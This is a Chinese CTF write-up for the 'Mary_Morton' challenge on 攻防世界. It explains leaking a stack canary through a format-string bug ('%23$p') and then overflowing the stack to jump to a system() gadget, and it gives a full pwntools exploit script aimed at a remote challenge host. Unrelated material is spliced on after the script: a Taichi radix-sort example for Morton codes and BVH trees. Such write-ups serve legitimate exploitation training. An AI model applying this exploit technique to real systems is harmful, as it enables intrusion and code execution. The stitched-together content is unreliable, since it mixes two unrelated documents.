攻防世界-Mary_Morton

本文详细探讨了一种针对开启Canary保护的AMD64程序,如何通过格式化字符串漏洞泄露Canary值,并利用栈溢出进行攻击的方法。分析了函数sub_4008EB和sub_400960中的漏洞,确定了Canary偏移量,构造了payload来获取Canary并覆盖返回地址,最终实现远程代码执行。实验中使用了gdb进行动态分析,明确了利用步骤和payload构造过程。

检查文件信息

在这里插入图片描述

amd64-elf文件
开启了Canary保护
开启了NX保护

ida静态分析

在这里插入图片描述
进入到sub_4008EB函数 格式化字符串漏洞
在这里插入图片描述
另外进入到sub_400960()函数有栈溢出漏洞
在这里插入图片描述
在这里插入图片描述

但是有一点开启了Canary 那么我们可以通过 格式化字符串任意读 泄露Canary地址 然后利用这个地址来进行溢出漏洞的利用 栈分布如图
在这里插入图片描述
而我们知道 v2就是用来储存canary的值的变量
而buf 大小位0x90
v2的大小位 0x8
覆盖return addr,需要0x90-0x8=0x88大小去覆盖,然后放上canary的值,0覆盖ebp,最后返回地址改为system的返回地址既可以

在这里插入图片描述
但是我们要确定偏移地址
所以我们用gdb确定偏移地址是6位
但是因为是amd64位
所以有8个寄存器来存值
继而
偏移量为 0x88/0x8 = 0x11 也就是17
那么 17+6 = 23就是canary的值
格式化 payload = ‘%23$p’
在这里插入图片描述

exp

#_*_coding:utf-8_*_
from pwn import *
import sys
context.log_level = 'debug'
ip = '111.200.241.244'
port = 60960
if sys.argv[1] == 'remote':
    io = remote(ip,port)
    #elf = ELF('./Mary_Morton')
else:
    io = process('./Mary_Morton')
    #elf = ELF('./Mary_Morton')

#buf ---> (0x90 - 0x8) / 0x8 = 0x11  |||  0x11+6
io.recvuntil("Select your weapon ")
io.sendline("2")
system_addr = 0x004008DA
payload = "%23$p"
io.sendline(payload)
io.recvuntil("0x")
canary_addr = int(io.recv(16),16)
print(hex(canary_addr))
io.recvuntil("3. Exit the battle ")
io.sendline("1")
payload = "a" * 0x88 + p64(canary_addr)+p64(0)+p64(system_addr)
io.sendline(payload)
io.interactive()
要对给定的Morton编码结果进行排序以构建正确的BVH(Bounding Volume Hierarchy)树,可使用基数排序(Radix Sort)。Morton编码(又称Z - order曲线)将3D空间坐标映射到1D线性空间,能保持空间局部性,这为排序提供了基础,排序后的结果可用于构建BVH树。 以下是使用基数排序对Morton编码结果排序的示例代码,结合引用[1]中的Morton编码计算过程,代码如下: ```python import taichi as ti ti.init(arch=ti.cpu) class BVHBuilder: def __init__(self, n_batches, n_aabbs): self.n_batches = n_batches self.n_aabbs = n_aabbs self.aabb_centers = ti.Vector.field(3, dtype=ti.f32, shape=(n_batches, n_aabbs)) self.aabb_min = ti.Vector.field(3, dtype=ti.f32, shape=(n_batches, n_aabbs)) self.scale = ti.field(dtype=ti.f32, shape=(n_batches)) self.morton_codes = ti.Vector.field(2, dtype=ti.u32, shape=(n_batches, n_aabbs)) @ti.kernel def compute_morton_codes(self): for i_b, i_a in ti.ndrange(self.n_batches, self.n_aabbs): center = self.aabb_centers[i_b, i_a] - self.aabb_min[i_b] scaled_center = center * self.scale[i_b] # 将坐标缩放到10位整数范围[0, 1024) morton_code_x = ti.floor(scaled_center[0] * 1023.0, dtype=ti.u32) morton_code_y = ti.floor(scaled_center[1] * 1023.0, dtype=ti.u32) morton_code_z = ti.floor(scaled_center[2] * 1023.0, dtype=ti.u32) # 位扩展算法 morton_code_x = self.expand_bits(morton_code_x) morton_code_y = self.expand_bits(morton_code_y) morton_code_z = self.expand_bits(morton_code_z) # 组合成最终的Morton编码 morton_code = (morton_code_x << 2) | (morton_code_y << 1) | morton_code_z self.morton_codes[i_b, i_a] = ti.Vector([morton_code, i_a], dt=ti.u32) @ti.func def expand_bits(self, v): v = (v * 0x00010001) & 0xFF0000FF v = (v * 0x00000101) & 0x0F00F00F v = (v * 0x00000011) & 0xC30C30C3 v = (v * 0x00000005) & 0x49249249 return v # 基数排序函数 @ti.kernel def radix_sort_morton_codes(self): temp = ti.Vector.field(2, dtype=ti.u32, shape=(self.n_batches, self.n_aabbs)) for i_b in range(self.n_batches): for shift in range(32): count_0 = 0 count_1 = 0 for i_a in range(self.n_aabbs): bit = (self.morton_codes[i_b, i_a][0] >> shift) & 1 if bit == 0: count_0 += 1 index_0 = 0 index_1 = count_0 for i_a in range(self.n_aabbs): bit = (self.morton_codes[i_b, i_a][0] >> shift) & 1 if bit == 0: temp[i_b, index_0] = self.morton_codes[i_b, i_a] index_0 += 1 else: temp[i_b, index_1] = self.morton_codes[i_b, i_a] index_1 += 1 for i_a in range(self.n_aabbs): self.morton_codes[i_b, i_a] = temp[i_b, i_a] # 示例使用 n_batches = 1 n_aabbs = 10 bvh_builder = BVHBuilder(n_batches, n_aabbs) # 这里需要初始化 aabb_centers, aabb_min, scale # 示例初始化 for i_b in range(n_batches): for i_a in range(n_aabbs): bvh_builder.aabb_centers[i_b, i_a] = ti.Vector([i_a * 0.1, i_a * 0.2, i_a * 0.3]) bvh_builder.aabb_min[i_b] = ti.Vector([0.0, 0.0, 0.0]) bvh_builder.scale[i_b] = 1.0 bvh_builder.compute_morton_codes() bvh_builder.radix_sort_morton_codes() ``` 在上述代码中,`compute_morton_codes` 函数用于计算Morton编码,`radix_sort_morton_codes` 函数用于对Morton编码结果进行基数排序。基数排序通过逐位比较Morton编码,将编码结果按位的0和1进行分类,最终得到排序好的Morton编码结果。排序后的Morton编码可用于构建正确的BVH树,例如根据排序结果划分图元,并行创建LBVH(引用[2])。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值